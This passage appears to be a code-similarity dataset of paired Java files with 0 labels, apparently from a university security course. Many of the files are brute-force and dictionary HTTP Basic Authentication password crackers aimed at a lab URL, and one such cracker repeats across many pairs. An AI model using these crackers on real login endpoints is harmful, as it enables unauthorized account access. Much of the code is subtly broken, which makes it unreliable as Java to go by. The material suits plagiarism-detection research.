26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiUpper, secondPosition, number); String three = new String (asciiLower, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } if (errorMessage == 401) { for (firstPosition = 0; firstPosition < 26; firstPosition ++) { for(secondPosition = 0; secondPosition < 26; secondPosition++) { for(thirdPosition = 0; thirdPosition <26; thirdPosition++) { String one = new String(asciiUpper, firstPosition,number); String two = new String (asciiLower, secondPosition, number); String three = new String (asciiUpper, thirdPosition, number); String password = one + two + three; request.setBasicAuthentication(username,password); HttpResponse response = http.getResponse(request); errorMessage = response.getResponseCode(); System.out.println(errorMessage); System.out.println(password); attempts++; if (errorMessage == 200) break; } if (errorMessage == 200) break; } if (errorMessage == 200) break; } } Date endDate = new Date(); System.out.println("Password crack finished: " + endDate); System.out.println("Password crack started: " + startDate); System.out.println(" of attempts: " + attempts); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
146.java
161.java
0
import java.net.*; import java.util.*; public class BruteForce { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); boolean morePasswords = true; int passPtr = 0; StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); char[] password = new char[MAX_LENGTH]; password[0] = validChars.charAt(0); while (!auth && morePasswords) { String resource = "http://sec-crack.cs.rmit.edu./SEC/2/"; try { Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("HEAD"); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println("cracked with " + new String(password)); auth = true; } } catch (Exception e) { System.out.println(" was exception: " + e.getMessage()); } int count = passPtr; while (true) { if (password[count] == validChars.charAt(validChars.length() - 1)) { password[count] = validChars.charAt(0); count--; } else { password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1); break; } if (count < 0) { if (passPtr < MAX_LENGTH - 1) { passPtr++; password[passPtr] = validChars.charAt(0); } else { morePasswords = false; } break; } } } if (!auth) { System.out.println("Unable determine password"); } else { time = (new Date()).getTime() - start.getTime(); System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password"); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = ""; return new PasswordAuthentication(user, password); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
113.java
161.java
0
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties"); testProps.load(fis); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
078.java
161.java
0
import java.util.*; import java.net.*; import java.io.*; public class BruteForce { boolean connected = false; int counter; String[] chars = {"a","b","c","d","e","f","g","h", "i","j","k","l","m","n","o","p", "q","r","s","t","u","v","w","x", "y","z","A","B","C","D","E","F", "G","H","I","J","K","L","M","N", "O","P","Q","R","S","T","U","V", "W","X","Y","Z"}; Vector combinations = new Vector(); BruteForce() { counter = 0; this.genCombinations(); this.startAttack(); } public void startAttack() { while(counter<this.combinations.size()) { connected = sendRequest(); if(connected == true) { System.out.print("The password is: "); System.out.println((String)combinations.elementAt(counter-1)); counter = combinations.size(); } } } public void genCombinations() { String combination = new String(); for (int x=0; x<52; x++) { combination = chars[x]; this.combinations.addElement(combination); } for (int x=0; x<52; x++) { for (int y=0; y<52; y++) { combination = chars[x] + chars[y]; this.combinations.addElement(combination); } } for (int x=0; x<52; x++) { for (int y=0; y<52; y++) { for (int z=0; z<52; z++) { combination = chars[x] + chars[y] + chars[z]; this.combinations.addElement(combination); } } } } public boolean sendRequest() { Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { return true; } } catch (IOException e) {} return false; } public static void main(String [] args) { BruteForce bf = new BruteForce(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = ""; String password = (String)combinations.elementAt(counter); counter++; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
059.java
161.java
0
public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
142.java
161.java
0
import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() { } public static void main(String[] args) { try { if (args.length != 3 ) { System.out.println("Usage: java BruteForce <URL> <UserName> <DictFileName>"); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println("\n\n\n\n\tPass Cracked is: " + strPass); System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = ""; try { FileInputStream fIn = new FileInputStream ( strUrlDictionary ); DataInputStream dtIn = new DataInputStream ( fIn ); System.out.print("\n\n\n Applying Dictionary Attack: "); while (dtIn.available() > 0) { strPass = dtIn.readLine(); if (strPass.length() != 3) continue; System.out.print("\b\b\b" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { dtIn.close(); fIn.close(); return strPass; } } dtIn.close(); fIn.close(); } catch (Exception e) { e.printStackTrace(); } return "Could not find match"; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + ":" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty ("Authorization", " " + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase("HTTP/1.1 200 OK") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
047.java
161.java
0
import java.io.*; import java.net.*; import java.text.*; import java.util.*; class Dictionary { private String password=""; private int num=401; public static void main(String[] args) { Dictionary URLcon; int length = 0; String passwd=""; int t0,t1; String line =""; if (args.length == 0) { System.err.println ( "Usage : java BruteForce <username>"); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println (" " + new Date()); System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting......."); try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds"); System.out.println ("Finish " + new Date()); return; } } }catch (FileNotFoundException e){ System.out.println(e); }catch (IOException e){ System.out.println(e); } System.out.println(" not find the password"); } public Dictionary (String password,String username) { String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ; try { String userPassword = username+":"+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
043.java
161.java
0
import java.util.*; import java.io.*; import javax.swing.text.html.*; public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println("ishti"); System.out.println("Downloading first copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"}; String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"}; while(true){ Thread.sleep(24*60*60*1000); System.out.println("Downloading new copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( "Diff.txt")); if (newin.readLine() != null){ System.out.println("Sending Mail"); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec("cp newfile.html oldfile.html"); } } } catch(Exception e){ e.printStackTrace(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
099.java
161.java
0
import java.net.*; import java.io.*; import java.io.IOException; import java.util.*; import java.*; public class BruteForce { public static void main (String[] args) throws Exception { int maxChar = 26, counter=0, x =0, attempt =0 ; String guess = new String(); String pass, inputLine; String letter[] = {"", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" , "A", "B", "C", "D", "E" , "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}; boolean flag=false; System.out.println(System.currentTimeMillis()/1000); for (int i=0; i<maxChar ; i++){ for (int j=0 ; j<maxChar ; j++){ for (int k=0 ; k<maxChar ; k++){ guess = letter[i]+letter[j]+letter[k]; attempt++; System.out.println(guess); pass = ":" + guess; String password = new bf.misc.BASE64Encoder().encode(pass.getBytes()); try{ URL u = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection yc = u.openConnection(); yc.setRequestProperty("Authorization"," "+password); BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); while ((inputLine = in.readLine()) != null) System.out.println(inputLine); in.print(); System.out.println(guess); System.out.println(System.currentTimeMillis()/1000); System.out.println(" of attempt: "+attempt); System.exit(0); }catch(IOException e){ } } } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
128.java
161.java
0
import java.io.*; import java.util.Vector; import java.util.Date; interface UnaryPredicate { boolean execute(Object obj); } public class DiffPrint { static String outFile=""; public static abstract class Base { protected Base(Object[] a,Object[] b) { try { outfile = new PrintWriter(new FileWriter(outFile)); } catch (Exception e) { e.printStackTrace(); } file0 = a; file1 = b; } protected UnaryPredicate ignore = null; protected Object[] file0, file1; public void print_script(Diff.change script) { Diff.change next = script; while (next != null) { Diff.change t, end; t = next; end = hunkfun(next); next = end; end = null; print_hunk(t); end = next; } outfile.flush(); } protected Diff.change hunkfun(Diff.change hunk) { return hunk; } protected int first0, last0, first1, last1, deletes, inserts; protected PrintWriter outfile; protected void analyze_hunk(Diff.change hunk) { int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0; int i; Diff.change next; boolean nontrivial = (ignore == null); show_from = show_to = 0; f0 = hunk.line0; f1 = hunk.line1; for (next = hunk; next != null; next = next.next()) { l0 = next.line0 + next.deleted - 1; l1 = next.line1 + next.inserted - 1; show_from += next.deleted; show_to += next.inserted; for (i = next.line0; i <= l0 && ! nontrivial; i++) if (!ignore.execute(file0[i])) nontrivial = true; for (i = next.line1; i <= l1 && ! nontrivial; i++) if (!ignore.execute(file1[i])) nontrivial = true; } first0 = f0; last0 = l0; first1 = f1; last1 = l1; if (!nontrivial) show_from = show_to = 0; deletes = show_from; inserts = show_to; } protected void print_header(String filea, String fileb) { } protected abstract void print_hunk(Diff.change hunk); protected void print_1_line(String pre,Object linbuf) { outfile.println(pre + linbuf.toString()); } protected void print_number_range (char sepchar, int a, int b) { if (++b > ++a) outfile.print("" + a + sepchar + b); else outfile.print(b); } public static char change_letter(int inserts, int deletes) { if (inserts == 0) return 'd'; else if (deletes == 0) return 'a'; else return 'c'; } } public static class NormalPrint extends Base { public NormalPrint(Object[] a,Object[] b) { super(a,b); } protected void print_hunk (Diff.change hunk) { analyze_hunk(hunk); if (deletes == 0 && inserts == 0) return; print_number_range (',', first0, last0); outfile.print(change_letter(inserts, deletes)); print_number_range (',', first1, last1); outfile.println(); if (deletes != 0) for (int i = first0; i <= last0; i++) print_1_line ("< ", file0[i]); if (inserts != 0 && deletes != 0) outfile.println("---"); if (inserts != 0) for (int i = first1; i <= last1; i++) print_1_line ("> ", file1[i]); } } public static class EdPrint extends Base { public EdPrint(Object[] a,Object[] b) { super(a,b); } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; print_number_range (',', first0, last0); outfile.println(change_letter(inserts, deletes)); if (inserts != 0) { boolean inserting = true; for (int i = first1; i <= last1; i++) { if (! inserting) outfile.println(i - first1 + first0 + "a"); inserting = true; if (".".equals(file1[i])) { outfile.println(".."); outfile.println("."); outfile.println(i - first1 + first0 + 1 + "s/^\\.\\././"); inserting = false; } else print_1_line ("", file1[i]); } if (inserting) outfile.println("."); } } } public static class ContextPrint extends Base { protected int context = 3; public ContextPrint(Object[] a,Object[] b) { super(a,b); } protected void print_context_label (String cad, File inf, String label) { if (label != null) outfile.println(cad + ' ' + label); else if (inf.lastModified() > 0) outfile.println( cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified()) ); else outfile.println( cad + ' ' + inf.getPath()); } public void print_header(String filea,String fileb) { print_context_label ("***", new File(filea), filea); print_context_label ("---", new File(fileb), fileb); } private String find_function(Object[] lines, int x) { return null; } protected void print_function(Object[] file,int x) { String function = find_function (file0, first0); if (function != null) { outfile.print(" "); outfile.print( (function.length() < 40) ? function : function.substring(0,40) ); } } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; first0 = Math.sqrt(first0 - context, 0); first1 = Math.sqrt(first1 - context, 0); last0 = Math.sqrt(last0 + context, file0.length - 1); last1 = Math.sqrt(last1 + context, file1.length - 1); outfile.print("***************"); print_function (file0, first0); outfile.println(); outfile.print("*** "); print_number_range (',', first0, last0); outfile.println(" ****"); if (deletes != 0) { Diff.change next = hunk; for (int i = first0; i <= last0; i++) { while (next != null && next.line0 + next.deleted <= i) next = next.next; String prefix = " "; if (next != null && next.line0 <= i) prefix = (next.inserted > 0) ? "!" : "-"; print_1_line (prefix, file0[i]); } } outfile.print("--- "); print_number_range (',', first1, last1); outfile.println(" ----"); if (inserts != 0) { Diff.change next = hunk; for (int i = first1; i <= last1; i++) { while (next != null && next.line1 + next.inserted <= i) next = next.next; String prefix = " "; if (next != null && next.line1 <= i) prefix = (next.deleted > 0) ? "!" : "+"; print_1_line (prefix, file1[i]); } } } } public static class UnifiedPrint extends ContextPrint { public UnifiedPrint(Object[] a,Object[] b) { super(a,b); } public void print_header(String filea,String fileb) { print_context_label ("---", new File(filea), filea); print_context_label ("+++", new File(fileb), fileb); } private void print_number_range (int a, int b) { if (b < a) outfile.print(b + ",0"); else super.print_number_range(',',a,b); } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; first0 = Math.sqrt(first0 - context, 0); first1 = Math.sqrt(first1 - context, 0); last0 = Math.sqrt(last0 + context, file0.length - 1); last1 = Math.sqrt(last1 + context, file1.length - 1); outfile.print("@@ -"); print_number_range (first0, last0); outfile.print(" +"); print_number_range (first1, last1); outfile.print(" @@"); print_function(file0,first0); outfile.println(); Diff.change next = hunk; int i = first0; int j = first1; while (i <= last0 || j <= last1) { if (next == null || i < next.line0) { outfile.print(' '); print_1_line("", file0[i++]); j++; } else { int k = next.deleted; while (k-- > 0) { outfile.print('-'); print_1_line("", file0[i++]); } k = next.inserted; while (k-- > 0) { outfile.print('+'); print_1_line("", file1[j++]); } next = next.next; } } } } static String[] slurp(String file) throws IOException { BufferedReader rdr = new BufferedReader(new FileReader(file)); Vector s = new Vector(); for (;;) { String line = rdr.readLine(); if (line == null) break; s.addElement(line); } String[] a = new String[s.size()]; s.copyInto(a); return a; } public static String getDiff(String filea,String fileb,String filec) throws IOException { DiffPrint.outFile=filec; String msg=""; String[] a = slurp(filea); String[] b = slurp(fileb); String [] argv={filea,fileb}; Diff d = new Diff(a,b); char style = 'n'; for (int i = 0; i < argv.length - 2; ++i) { String f = argv[i]; if (f.startsWith("-")) { for (int j = 1; j < f.length(); ++j) { switch (f.charAt(j)) { case 'e': style = 'e'; break; case 'c': style = 'c'; break; case 'u': style = 'u'; break; } } } } boolean reverse = style == 'e'; Diff.change script = d.diff_2(reverse); if (script == null) msg="The text the has not changed.\n"; else { Base p; msg="The text the has changed.\n The Diff Output is : \n\n"; switch (style) { 